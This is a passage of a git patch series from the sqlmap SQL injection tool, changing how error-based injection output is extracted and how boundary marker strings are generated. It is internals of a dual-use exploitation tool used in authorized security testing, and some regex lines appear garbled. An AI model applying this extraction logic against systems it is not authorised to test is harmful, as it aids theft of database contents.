+++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f6c960484..47098eb44 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None): try: while True: check = "%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = "%s(?P.*?)[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) @@ -130,6 +130,10 @@ def _oneShotErrorUse(expression, field=None): warnMsg += safecharencode(trimmed) logger.warn(warnMsg) + if not kb.testMode: + check = "(?P.*?)%s" % kb.chars.stop[:2] + output = extractRegexResult(check, trimmed, re.IGNORECASE) + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output From a91fb4149b7c5e8db8a3ea14f26210c2c3131c07 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 10:56:30 +0100 Subject: [PATCH 125/492] Minor update (using lower frequency alphabet for kb.chars) --- lib/core/option.py | 5 +++-- lib/core/settings.py | 3 +++ 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 21fe4f8c9..392d5eb19 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -106,6 +106,7 @@ from lib.core.settings import DUMMY_URL from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR +from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS @@ -1643,8 +1644,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) - kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) - kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) + kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.columnExistsChoice = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 381ee15b1..ebd6a5153 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -624,6 +624,9 @@ BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' +# Letters of lower frequency used in kb.chars +KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" + # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """